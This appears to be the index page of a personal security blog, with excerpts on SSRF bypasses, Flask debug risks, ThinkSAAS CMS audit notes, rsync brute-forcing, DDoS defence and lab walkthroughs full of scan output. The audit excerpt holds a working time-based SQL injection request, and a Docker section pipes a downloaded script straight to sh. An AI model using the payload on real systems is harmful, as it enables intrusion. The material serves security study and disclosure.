@Unc1e UNC.LA
I work in network security and write about engineering practice, work, and life.
This is my personal site. I write articles carefully and build projects steadily; occasionally I also put up little things I find interesting.
This post covers common bypass techniques for SSRF vulnerabilities under various restrictions. (Image from SSRF Bypass Tricks) 0x00 URL scheme Part 1: the scheme name (ends with a single colon) Part 2: user information, i.e. username and password (commonly used when logging into FTP) Part 3: the host name (i.e. the domain) Part 4: the port Part 5: the query content, containing [path+param] — there is a bug here: only the content after the ? should count as the query! Part 6: Fragment ID (never sent to the server!) 1. Extracting the scheme name: ...
Enabling debug mode in Flask is equivalent to leaving a backdoor for hackers. This article provides a brief analysis of the security issues that can arise when Flask runs with debug mode enabled in a production network. One of the more severe security issues is that arbitrary Python code can be executed in the interactive Python shell. On this point, in older versions of Flask, no PIN authentication was required to execute code — the harm of this is self-evident. ...
Code Audit Notes A feeble injection in the limit parameter app/article/action/api/list.php#L28 PoC While debugging, you can see that the limit parameter has been carried into the query in full — it only seems feeble because mysqli_query cannot execute multi-statement queries… app\photo\action\admin\options.php app\topic\action\admin\options.php http://thinksaas/index.php?app=topic&ts=do&mg=options&ac=admin SQL injection in the title parameter of app/topic/action/admin/topic.php PoC GET /index.php?app=topic&ac=admin&mg=topic&ts=list&title=PoC%%2527+and/**/1-(select/**/1/**/from/**/(select+sleep(3))a)%2523%2520 HTTP/1.1 Host: thinksaas User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4230.1 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-SG,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://thinksaas/index.php?app=search&ac=s&kw=keyword Cookie: PHPSESSID=6im4ssqo33h8l2d43u78nbr4c3; ts_autologin=goh59atl3dsk44o4sws48s80co44ww8 Upgrade-Insecure-Requests: 1 CVE Request info 1. Intro of this CMS The repo of ThinksaasS is located at https://github.com/thinksaas/ThinkSAAS , quite a common-used CMS. ...
From the perspective of a security engineer, this post analyzes the causes of SSRF in PHP and how to fix it. Through experiments on a VPS, it introduces the impact and limitations of SSRF vulnerabilities arising from different causes, and closes with an example of secure coding. cURL Configuration Options This section documents the relationship between each cURL configuration option and the resulting type of SSRF vulnerability. CURLOPT_HEADER is 0 in the vast majority of cases; otherwise the HTTP response headers are returned along with the body (see image) ...
Installing Docker Omitted here — just follow the CentOS Docker installation instructions. curl -sSL https://get.daocloud.io/docker | sh Uninstall old versions sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine Note: <font style="color:#000000;">iptables</font> must be enabled service iptables restart Restart docker service docker restart Writing the Dockerfile Finding the base environment The first line of the Dockerfile is the base environment of your CTF challenge. For example: ...
I ran into rsync during a penetration test — it was password-protected. Brute-force scripts already existed (for example this one written by cdxy in the POC-T framework), but that script was written in Python 2, so I decided to rewrite it in Python 3 — and along the way I ended up analyzing how rsync authenticates. Here is a brief write-up. Traffic Analysis tcpdump -i eth0 net 47.*.*.142 -w access_denied.pcap -v ↑ ↑ ↑ NIC ip path of the file to write Capturing packets with the command above and analyzing the traffic when connecting to rsync, after the server normally returns the rsync version information there are only a few possibilities: empty data, IP access restriction, unauthenticated download, or password-required access. Let’s analyze each one. ...
This article was contributed to the Alibaba Cloud Xianzhi Community. Original content; please cite the source when reposting. Foreword On an utterly unremarkable weekend, a buddy of mine messaged me saying he had a product security test on his hands that he couldn’t handle and asked me to help out. I wasn’t keen at first—but Haidilao hotpot is just too good, and so began this commissioned product security test. Product security testing means using limited resources (time/energy), through security testing and code audit among other means, to uncover as many vulnerabilities as possible, and to leverage these individual findings to drive the developers to fix the product’s security issues. ...
For this quarter’s “dedicated learning session”, I picked a well-worn topic: DDoS. I hope it brings you some inspiration. For those readers who are prone to tl;dr, here are the conclusions up front: Defending against DDoS attacks is a systems engineering effort — no single method is absolutely effective, hence No silver bullet. In short, effort must be invested across system architecture, infrastructure traffic, business logic, disaster recovery plans, and other areas to defend against DDoS. See the What to Do When You Encounter DoS section of this post Attack trends Common DDoS: large-packet SYN floods (core principle: resource exhaustion), TCP/UDP reflection (core principle: source IP spoofing) Gaming remains the industry most heavily targeted by DDoS attacks, accounting for 39% of the overall distribution; in addition, live streaming, e-commerce, and other industries have become new targets of DDoS attacks For properly registered legitimate businesses, if the DDoS traffic exceeds 100G, you can file a police report. See the 4 Counterattack and Tracing section of this post I. What Is DDoS DDoS (Distributed Denial of Service), also known as a distributed denial-of-service attack. By controlling a botnet made up of numerous compromised machines (“chickens”) or servers, hackers send a large number of seemingly legitimate requests at the target, thereby consuming massive network resources, paralyzing the network, and preventing users from accessing network resources normally. ...
Entry point nmap $ nmap -p- -sC -sV -Pn 10.10.10.56 -oA allport Nmap scan report for 10.10.10.56 Host is up (0.0037s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Used hydra to brute-force SSH with fastrack.txt; nothing to gain. /cgi-bin/ Using binwalk and file, got nothing special dir searching python3 dirsearch.py -u http://10.10.10.56/ -e * _|. _ _ _ _ _ _|_ v0.3.9 (_||| _) (/_(_|| (_| ) Extensions: | HTTP method: getSuffixes: CHANGELOG.md | HTTP method: get | Threads: 10 | Wordlist size: 6564 | Request count: 6564 Error Log: /opt/dirsearch/logs/errors-20-07-07_23-26-11.log Target: http://10.10.10.56/ Output File: /opt/dirsearch/reports/10.10.10.56/20-07-07_23-26-16 [23:26:16] Starting: [23:28:27] 403 - 299B - /.htaccess-dev [23:28:27] 403 - 301B - /.htaccess-local [23:28:27] 403 - 301B - /.htaccess-marco [23:28:28] 403 - 298B - /.htaccessBAK [23:28:28] 403 - 299B - /.htaccess.txt [23:28:28] 403 - 302B - /.htaccess.sample [23:28:28] 403 - 299B - /.htaccess.old [23:28:28] 403 - 300B - /.htaccess.orig [23:28:28] 403 - 300B - /.htaccess.save [23:28:28] 403 - 300B - /.htaccess.bak1 [23:28:28] 403 - 298B - /.htaccessOLD [23:28:28] 403 - 299B - /.htaccessOLD2 [23:28:28] 403 - 299B - /.htpasswd-old [23:28:28] 403 - 297B - /.httr-oauth [23:34:58] 403 - 294B - /cgi-bin/ after obtaining these, no progress. ...
10.10.10.100 Nmap # nmap -p- -sC -sV -oA allport.nmap 10.10.10.100 Nmap scan report for 10.10.10.100 Host is up (0.0036s latency). Not shown: 65512 closed ports PORT STATE SERVICE VERSION 53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) | dns-nsid: |_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39) 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-06-27 14:12:30Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open tcpwrapped 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5722/tcp open msrpc Microsoft Windows RPC 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open msrpc Microsoft Windows RPC 49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49158/tcp open msrpc Microsoft Windows RPC 49169/tcp open msrpc Microsoft Windows RPC 49171/tcp open msrpc Microsoft Windows RPC 49180/tcp open msrpc Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows Host script results: |_clock-skew: 2m57s | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-06-27T14:13:29 |_ start_date: 2020-06-27T12:57:05 Scanning with the enum4linux tool showed that the SMB service was running with open shared directories # enum4linux -a 10.10.10.100 ========================================= | Share Enumeration on 10.10.10.100 | ========================================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640. Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Replication Disk SYSVOL Disk Logon server share Users Disk SMB1 disabled -- no workgroup available ... [+] Attempting to map shares on 10.10.10.100 Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/ADMIN$ Mapping: DENIED, Listing: N/A Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/C$ Mapping: DENIED, Listing: N/A Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/IPC$ Mapping: OK Listing: DENIED Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/NETLOGON Mapping: DENIED, Listing: N/A Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/Replication Mapping: OK, Listing: OK Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/SYSVOL Mapping: DENIED, Listing: N/A Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 654. //10.10.10.100/Users Mapping: DENIED, Listing: N/A Let’s see what files are inside ...